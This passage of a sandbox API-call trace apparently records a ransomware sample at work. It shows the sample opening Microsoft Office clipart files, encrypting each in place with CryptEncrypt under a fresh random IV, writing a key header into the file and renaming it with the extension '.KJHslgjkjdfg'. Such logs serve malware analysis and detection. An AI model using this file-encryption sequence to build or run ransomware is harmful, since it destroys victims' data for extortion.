hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.878] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.878] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.878] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2608, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2608, lpOverlapped=0x0) returned 1 [0177.879] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2610, dwBufLen=0x2610 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2610) returned 1 [0177.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.879] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2610, lpOverlapped=0x0) returned 1 [0177.879] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.880] SetEndOfFile (hFile=0x114) returned 1 [0177.882] GetProcessHeap () returned 0x2a0000 [0177.882] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.882] GetProcessHeap () returned 0x2a0000 [0177.882] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.kjhslgjkjdfg")) returned 1 [0177.884] CloseHandle (hObject=0x114) returned 1 [0177.884] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1 [0177.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.885] GetProcessHeap () returned 0x2a0000 [0177.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.885] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.885] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.888] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.888] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.888] GetProcessHeap () returned 0x2a0000 [0177.888] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.888] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.888] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.888] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.888] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.888] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.888] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.889] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.889] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.889] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.889] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13ec, lpOverlapped=0x0) returned 1 [0177.890] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13f0) returned 1 [0177.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.890] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13f0, lpOverlapped=0x0) returned 1 [0177.890] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.890] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.890] SetEndOfFile (hFile=0x114) returned 1 [0177.893] GetProcessHeap () returned 0x2a0000 [0177.893] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.893] GetProcessHeap () returned 0x2a0000 [0177.893] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.kjhslgjkjdfg")) returned 1 [0177.895] CloseHandle (hObject=0x114) returned 1 [0177.895] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1 [0177.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.896] GetProcessHeap () returned 0x2a0000 [0177.896] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.896] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.896] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0177.898] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.898] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.898] GetProcessHeap () returned 0x2a0000 [0177.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.899] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.899] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.899] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.899] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.899] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.899] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.899] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.899] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6196, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6196, lpOverlapped=0x0) returned 1 [0177.901] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x61a0, dwBufLen=0x61a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x61a0) returned 1 [0177.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.901] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x61a0, lpOverlapped=0x0) returned 1 [0177.901] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.902] SetEndOfFile (hFile=0x114) returned 1 [0177.904] GetProcessHeap () returned 0x2a0000 [0177.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.904] GetProcessHeap () returned 0x2a0000 [0177.904] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.kjhslgjkjdfg")) returned 1 [0177.906] CloseHandle (hObject=0x114) returned 1 [0177.906] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1 [0177.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.907] GetProcessHeap () returned 0x2a0000 [0177.907] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.907] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.907] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0177.911] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.911] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.911] GetProcessHeap () returned 0x2a0000 [0177.911] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.911] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.911] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.911] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.911] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.911] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.911] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.911] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.912] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.912] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.912] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.912] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb57d, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb57d, lpOverlapped=0x0) returned 1 [0177.913] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb580, dwBufLen=0xb580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb580) returned 1 [0177.914] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.914] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb580, lpOverlapped=0x0) returned 1 [0177.914] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.914] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.914] SetEndOfFile (hFile=0x114) returned 1 [0177.917] GetProcessHeap () returned 0x2a0000 [0177.917] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0177.917] GetProcessHeap () returned 0x2a0000 [0177.917] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0177.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.kjhslgjkjdfg")) returned 1 [0177.919] CloseHandle (hObject=0x114) returned 1 [0177.919] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1 [0177.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0177.920] GetProcessHeap () returned 0x2a0000 [0177.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0177.920] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0177.920] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0177.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.922] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.922] GetProcessHeap () returned 0x2a0000 [0177.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0177.922] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0177.922] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.922] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0177.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0177.923] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0177.923] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0177.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0177.923] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0177.923] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0177.923] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0177.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.923] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x38d8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x38d8, lpOverlapped=0x0) returned 1 [0177.924] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x38e0, dwBufLen=0x38e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x38e0) returned 1 [0177.924] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.924] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x38e0, lpOverlapped=0x0) returned 1 [0177.924] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0177.924] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x39b4, lpNewFilePointer=0x0, 